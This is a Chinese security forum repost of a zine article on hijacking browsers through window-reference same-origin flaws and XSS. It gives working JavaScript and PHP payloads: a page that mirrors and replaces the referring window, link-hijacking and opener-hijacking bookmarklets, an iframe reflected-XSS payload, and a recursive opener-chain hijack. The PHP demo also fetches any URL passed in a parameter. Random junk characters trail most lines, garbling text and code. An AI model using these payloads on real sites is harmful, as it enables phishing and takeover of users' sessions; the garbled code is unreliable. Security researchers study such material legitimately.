找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1800|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
7 g: Z2 q" `9 g, L' j ! M( ]: b+ U% s2 x# H
                       Issue 0x03, Phile #0x05 of 0x07
5 j9 k: R1 @+ ^2 m7 o8 {! t
; r9 V  d2 n0 T0 C3 j0 o/ ?5 Q1 e2 y+ I; k
|=---------------------------------------------------------------------------=|4 ~4 o6 J+ s) S
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|) \) P2 W3 `7 x/ H
|=---------------------------------------------------------------------------=|
6 Q; q7 _" b3 D2 b2 c: G3 W0 `" w|=---------------------------------------------------------------------------=|1 d* Q9 ?, q" v
|=------------------------=[      By rayh4c     ]=---------------------------=|
: d( ~+ ]1 c$ P! y. I|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
- l  ]& \- ?  b8 x, t+ {1 p|=---------------------------------------------------------------------------=|
3 ^8 S" R& D" o5 M5 A* Z* ^
/ E! q$ R4 P- R1 c! [# z
. d3 Z; {/ ?/ ~/ s- x7 }[目录]
8 J( }& |" }# O/ z: N) _1 \2 d1 j$ i! c2 X1 w) G0 I& a$ j
1. 前言5 x8 R7 M2 H" W5 Q* [9 |
2. 同源策略简叙
! P# B5 `9 P# F% M; E9 }3. 理解window对象的同源策略. S+ ~8 d- m, t. Y# r9 Y
4. 窗口引用功能中的同源策略漏洞* F, n: Y! p  c! t
  4.1 父窗口引用子窗口的同源策略问题
4 n( j" F8 A8 f1 e0 w  4.2 子窗口引用父窗口的同源策略问题
! L/ J" F" @* z) ~8 F- S5. 利用窗口引用漏洞劫持浏览器
% f$ F% e; _7 X% z: E6. 利用XSS漏洞劫持浏览器
) k( b# E+ O. T# ]# y1 N  6.1 正向跨窗口劫持( l, \5 u; \& p: p$ L
  6.2 反向跨窗口劫持4 g" p2 x. ~3 R' s5 \% S
  6.3 极度危险的跨框架窗口引用劫持, g/ b4 H' G+ F+ a+ l8 D
  6.4 极度危险的正反向跨窗口递归劫持
/ Z: J  A5 {9 z7 s  ~0 g/ J: S  I  6.5 完全控制浏览器
& m: V7 T; x* Q+ y7. 后记: W1 o9 R! ?. X% i3 a' ?
8. 参考/ E& {" X0 |/ E9 _2 q, r3 N  g9 q7 C$ e2 u* D

7 T% {  b- i  \2 r0 j% m! E- U9 c
一、前言3 @3 G' w& w4 E. {1 q/ O" b( x

6 M& S" y! N) f$ h6 o    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
0 ?) v0 d2 W5 Q0 F4 ?3 D: c; ^友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session- o$ m6 |% H. o) u# S' j
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被, G$ v* U4 w: H- e
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
( J3 e0 t# ~; S$ D+ C1 W4 R
! N& u( o2 L5 O0 J6 ~1 \, o4 C
: ^0 G7 Z+ z: L0 f二、同源策略简叙, b5 ?9 J/ t) L7 h- I
; {: [- G: O8 A- o: ?, b7 I- v
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以% F" O) C1 k* K7 T) Q; N! }$ d
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都! q5 Y3 }; y, `6 \6 P
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木* J! O( \. {9 U& O
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个; S/ S/ _, e$ q: ~$ P
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。" ]+ I1 C0 q0 U, d, T% @4 F( F: p

- G. D, O0 _' x. y# [" A; A" N& u
1 E$ C2 m4 l0 T三、理解window对象的同源策略: i2 ^; W& `# D2 K! D

# ?( u* \3 n" W5 v$ z1 L1 p9 F; r    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对  R. D0 r  r9 o3 P4 l2 I3 R
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
8 Q$ T/ s! j+ F0 Q( m8 D
) l9 F- f3 ~$ g: x; h7 ]--code-------------------------------------------------------------------------; [1 v$ n# P* X3 z
<script language="javascript"># b# N1 e3 r9 C
for(p in window) document.write(p+"<br>");4 v7 G# }9 [9 }  S# I! i+ R
</script>6 ?8 `8 c+ Z# t& E1 ~
-------------------------------------------------------------------------------
! {; G6 v: \, |( J) D1 {
7 ~7 g) d! y% o/ ]# L' f    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
1 h/ S  B# k' i4 d5 ?2 R, Y1 ^法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,4 ~. Z" w( v! P
这些属性和方法就必须遵循同源策略。
* Q! H% R3 w7 O  ]/ ?3 ]4 W, T# M* \) o! D3 b7 d1 S5 o5 V  |$ Z
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
. g1 V# w; P8 `# ~么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
- z$ n1 g! o5 a- K' n) p的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
( p. u6 U; Q& h' N( F2 ?个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
( t5 o- K7 x8 H+ p) q值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location# M# H* r' Z1 N0 [
属性并没有被拒绝访问。8 `) K% |$ `9 z$ ]) t+ q; ~
: e  _3 b8 K# Y( d/ F
--demo.html--------------------------------------------------------------------
: s" k& K# ?4 \; D<script language="javascript">   
$ H/ D$ p2 @7 r: B* Q# d" ?function allPrpos(obj) {      
8 j1 [* w+ b7 F9 M* `1 L. O! n1 N6 K      var props = "<table><tr><td>名称</td><td>值</td>";           " ?1 s- J( n; B8 _, R  ~
      for(var p in obj){         
4 F  _2 k9 q/ |9 O0 s" e: M            if(typeof(obj[p])=="function"){   
6 q8 v0 o( M9 V- y# w  I5 g; t                   obj[p]();   
$ V2 X7 `* f, v! E7 I; b8 u2 H8 H2 x             }else{                      , R& F- r* {" F' Q9 x: c" u
                  try   
8 O9 X5 N( B' X5 \) j# k, A                   {   
0 _& s' S( D1 q                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
/ J4 n& W8 I1 j7 g+ [5 N4 W- w                   }   8 r; l: T" C; h8 ]; j6 N  X9 z
                  catch (ex)   * |, n2 L- r! i( S; X9 a- h; D
                   {   
+ j" m( X5 e* S. f; z2 j                  
! v6 M1 \2 R3 f( L! W                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   6 A; T" V9 p7 c1 ]  k4 F2 g
                   }   8 |- l4 X$ W( P2 Y
                       , p1 I) r6 e+ a% ~5 z  A# a0 Q4 W
             }   2 E# |- K4 B8 H6 A" p
       }   5 s6 B2 W3 ^0 w7 j
   
  z$ @% {# t$ J/ k       document.write(props+"</table>");   + ?6 m7 H0 N4 M- x" u
}   
. ?: D, o  _0 I' ]   ) j. V: T! P1 }/ ]. ?( q/ s! s9 w+ B
function createWin() {
" ~+ h3 Q4 @& K4 t% ]! M: O9 d. {        newWin = window.open ("http://www.google.com");  
+ q! m: V* ]% B5 s6 O5 s% X8 @- p        setTimeout(function(){allPrpos(newWin)},2000);
2 x7 W0 @* C- _0 b0 g; O* h} ) T4 q7 F* k- r9 f, t: ]

/ T  [  Y& E0 z" X</script> * t- f2 F9 F  I9 b

5 J4 D9 q$ s' Q# @3 ^<button onclick='createWin()'>创建一个非同源子窗口测试</button>
9 d! o+ Y# [' K5 u* |-------------------------------------------------------------------------------. A% S7 K* s& A4 @
( z  j( L5 f4 z, x

( f& o0 D& m2 X$ p% r四、窗口引用功能中的同源策略漏洞
& F4 Q3 @, |! Q$ P% ]7 I
/ |& \) C& C; v: h! T7 V/ g" e1 h4.1 父窗口引用子窗口的同源策略问题+ r- J" u1 U; |0 m1 `( K3 D, z

( h. ]: \8 _, k7 o0 U    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,3 q& h$ u1 U9 q* U8 s$ X8 s
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道5 U  d1 t$ S) D8 Q- W7 A
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进* ~, O  V: H2 i: A# l
行测试,会发现父窗口可以控制非同源子窗口location属性值。2 Z9 c$ u5 c4 o7 ~% d/ w

+ U  o: ]2 o' s; s7 x! D% i* i/ g--vul1.html--------------------------------------------------------------------
7 {) \: l, {/ ?, P& ~& W- p9 G<script language="javascript"> 7 \' |) m+ Y" a4 `
function createWin() {  
8 ~$ M/ T. \1 O) U        newWin = window.open ("http://www.google.com");  $ q/ K( q0 N* O2 C
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
6 |5 T- a  X1 b8 g* \}
% L7 [: A, q/ g. L</script>
  L8 i; h4 z) j! z$ L1 \0 [# G) \
5 y- S" z5 @, X2 b5 g, G<button onclick='createWin()'>创建一个非同源子窗口测试</button>
  y! b8 J4 b/ J2 X-------------------------------------------------------------------------------1 z- d5 R) p: ]+ b% M& j
* w' t9 ^. r5 ?* S/ n9 @8 l

  K- D$ N% L3 a4.2 子窗口引用父窗口的同源策略问题9 l. S( ^' I2 v) q

9 A. O6 C7 S! R  f- _    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使: ]& H; R7 ]  E1 @2 p6 A4 ?
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
) L1 U- b) F* O' U0 m可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
) {1 d) w7 B. l; H3 {会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。( L  }6 c2 V( H. [9 S
8 Q3 s% H( L7 J# r
--code-------------------------------------------------------------------------8 m' q: e2 J' S: }$ |
& o4 x& {+ B5 I% y+ ~6 O
javascript:window.opener.location = "http://www.80sec.com";void(0);4 v+ n$ F7 w8 q: f( ]2 m7 F" K) X

6 G, L" `. s% R' P-------------------------------------------------------------------------------3 [" c+ e0 c8 v) v" x( g

9 L; a6 h! q: i! W  K8 V
' \  s& U2 a, E2 T五、利用窗口引用漏洞劫持浏览器# ^0 b7 H3 l# v: V+ l
) P9 k1 l/ W2 Z7 _7 S) B& r) x
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子5 r" u% F/ M) {$ M( e1 P
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那. O6 q( j+ z$ R4 v
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
0 i- f7 j5 M6 r! A: y+ g. J/ u5 G  E- B8 W" D7 ~
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
6 V& ?6 ^$ G3 `- H" Q生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
6 z4 D/ B- {" v3 G) Y2 c* p者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
/ P* w* V. O( }- C+ m8 P0 t9 i0 ?后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
1 U6 {  ^% [9 |0 q9 X+ v1 S% d) ?会产生什么可怕的后果。
8 q* W) {# @* D2 Y2 w6 u4 I& R
3 @) n5 |/ x6 G5 F  _    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
7 e5 @9 ]+ i& d+ o# l6 N们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php" [8 W% Q+ V+ S- }! a. f
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时* ?: T9 ?$ w" E( r
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
+ R( s$ f% J( k( r6 n以做更多的事情,所有的一切仅仅是因为点击了一个链接。- `. Y5 @7 J9 C+ @2 ]

3 K8 X# v7 C) ?' u+ e5 n--hjk_ref.php------------------------------------------------------------------6 F. K) y! w4 s. g5 C. Z! I
<?php
& ]$ n. g* d$ @+ _if (array_key_exists("HTTP_REFERER", $_SERVER)) {& l4 R, V5 v( a# P
$Url_Mirror = $_SERVER["HTTP_REFERER"];
/ m( Y2 J& l1 w: u& y4 g  I' ]}   Z- j, g- w4 s8 O
if(isset ($_GET['ref'])) {
- U1 u; L4 l6 \. e. X- g' u$ k' u1 Mecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';& u4 ]* o- S- Y2 Z
}2 r9 s7 W5 @) _% p0 u0 z
?>
# l# ^9 B, ]8 n. x1 E
5 B4 G( U" p/ p; T# V5 a<script language="javascript">
. X9 F! `! ]3 Z% ^setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         " R0 H3 `' q. ?- O2 T( ^8 b
</script>3 I  {- z: U3 f
-------------------------------------------------------------------------------
- z# N- N* }* H- B! e. F1 r9 M" Z
/ D: k( q: B( `, {: s& ^0 x    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。6 |8 o* ^' }9 R7 @# H
9 J  Q1 G& G$ ~" t, i* i: K
0 H( X. p  {: u" K- t; H; u, k1 f
六、利用XSS漏洞劫持浏览器
4 w6 Z* X' ^6 a9 r1 U- c3 f$ f! B4 I% a' G3 r3 W" _
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
) L7 v9 ?3 N% v0 w# ]持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后' [6 P$ S) }8 O' |8 [
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起9 H  P$ ^9 j7 W4 w, L
讨论跨站师的终极技巧:- M$ }) H+ r, ]5 M. v
" u, p- D, G: W0 R5 E
$ X' I5 ~$ j: z4 P. M! `- ?# p
6.1 正向跨窗口劫持/ Z& ~, u- D- u( k
$ O. E, I- P/ v& E7 M
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛* ^" V: c( O) q: [$ E" O5 \
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
2 t# F! n' X  R+ }& {接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
6 o- W) z0 `9 E& H2 ^框脚本。
' m4 J8 v' a# T: p( r7 ~/ `
& h9 b+ c) ]0 l4 U9 b0 l--hijack_open.js---------------------------------------------------------------* ~0 M/ _+ h5 \3 ]& u3 X1 G
' A, n9 D) _1 o  B. s
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);! u  g- A7 Y% }! N7 X5 z
' F0 v( w! g6 ]) Z
-------------------------------------------------------------------------------
1 S6 y: F8 Y; E+ s0 ?1 K1 W* L
+ h) d& r( d8 K% }+ m: P3 M. c9 ~9 m$ T+ l, _6 g) l
6.2 反向跨窗口劫持
6 L  {) z4 n: V+ K; R8 r  U( m# Z8 N# E) a) Z& B
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
  g4 H6 M4 l/ v+ o: s码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
. R* B  S4 E( C( n& F/ Z+ z. Q, o框脚本。
2 m+ C1 t8 o, o
! |" b: n! m7 E% C" u--hijack_opener.js-------------------------------------------------------------
' Y- g$ x' [1 g& Y4 b% n' z3 F* R8 g
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
8 R( L/ V/ b1 I4 q) y$ O& p+ O9 S& x- ?( v* c8 c
-------------------------------------------------------------------------------. X+ ^2 @% \* B0 e: m
; d$ Y0 y1 [4 E5 Q5 I
+ d3 T4 z5 a7 N$ F7 b
6.3 极度危险的跨框架窗口引用劫持( y8 r, F+ W+ Y1 a, j

" ^& p& J/ O$ ]$ z! Q# K0 C    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
+ w/ X! o0 j; e  _# \& i可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就% \* W" I4 s7 u+ }$ Y3 ]& x
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个- A- L/ _' D+ B/ N. V
非持久型的XSS,如下:
$ M7 H3 f5 ?/ g0 @
) C, E( T5 _# ^, A- z4 A<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
, M- }6 z3 Y  X# Y' _) K% N! k; ^8 q2 ?  E
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口8 k+ O+ H% f% \
注入脚本。: ]& y8 y6 F; V7 \7 |

# s* Y. r0 p, [& v  F" y# y! P--hijack_frame_opener.js-------------------------------------------------------. \7 x2 L( p. B3 o* ?- D- V6 X
<script>( h3 n- P5 {7 E! x) z  ~: Z7 f, {* m
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";  w( ]% \! t5 p( A
</script>
0 Y& d7 f8 H- @-------------------------------------------------------------------------------" W! y0 h+ k9 \, m8 H8 {4 b

- w% P3 i- |* H  Y0 z8 G: N: g0 Q9 x5 U6 x: J
6.4 极度危险的正反向跨窗口递归劫持
- v; L# ^8 _# E0 c! |# C# @6 f, ~, L5 t" R8 a& i, B
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window4 I! ^! G6 k# N8 ?3 U
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过5 `! I  A# \; n5 Q! r/ r& s
异常处理规避之间跨域页面的访问异常,代码如下:
, G! f4 G# v7 ^4 l+ Y5 k
( ?7 V, N: C# i( u% [# M, K--code-------------------------------------------------------------------------
# F' u4 d0 g7 C7 |) h
7 M/ _7 m) Z: w# gjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
/ n* F; L$ r( a8 z+ Y
$ L7 D1 R- `. ]4 q' t4 S# k1 @-------------------------------------------------------------------------------1 g) b" c* g1 k$ C) }# y
9 J% z* m3 L0 _/ }$ R" Q* v
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
5 `& f9 w: y; j! L以劫持B域之前的A域页面,从而实现“隔空打击”。# @, ^" r& }+ @2 h9 Y4 M" ]( o

5 J9 q  A& M) Z7 j    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
7 ^" O1 o1 j% S执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
* O& F) {9 B8 C+ \( m; P
: H5 B( `8 h% q' R2 A; h8 b    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
% ~9 m; `$ f( g/ A9 O
2 g9 H- N: _8 Z" s% `- R9 |: g' H9 L$ L4 t' p5 U, y
6.5 完全控制浏览器
) c; v+ W7 R. }* e3 w0 \1 h' k: B- B0 U* ~0 A8 `3 j; l6 j
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则  h! C/ h. l9 i# j' `$ j
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
5 Z$ o6 M$ C' W" b漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
. [, T# ]% `: s- a' t. v而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
9 n/ O/ m9 k' D  P' {9 e列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
% Y7 f/ F7 m3 b' P8 X师的终极目标 - 完全控制浏览器。
( h! L: \6 t9 M/ s% ^, D' B7 ^1 e5 ~& E+ l1 z

# U6 x  A, u2 V# x) R9 t七、后记( t( k0 l8 `5 W

! O0 e6 x: \/ O& z( {, ~    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全' M: l7 ^% o. [8 a6 a( N$ C
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予( e* A7 i( V* t3 O  }' ^
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。- _. J; q/ N' I. u( e( Y
1 w/ a- F$ D4 O& U0 m
/ _+ }: i( j* b8 ^, h
八、参考
2 W4 X% v, `* v/ C8 G$ J8 {$ g- d# P* J0 k+ V
1. http://en.wikipedia.org/wiki/Same_origin_policy# X6 ~4 G. a9 k+ F4 C8 G
2. http://code.google.com/p/browser ... licy_for_DOM_access0 z3 [. b+ V8 K# J3 u2 t
3. http://www.w3.org/TR/Window/
8 y$ X4 h& L$ h+ n4. http://www.80sec.com/release/browser-hijacking.txt& N8 F! f3 E/ R7 U" P# g
5. http://www.80sec.com/all-browser-security-alert.html
0 Y  h/ }$ o; _& y9 O- u6. http://www.80sec.com/ms08-058-attacks-google.html3 J9 P! u% h* H) J# _
' |- q  t8 O" L; Q
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表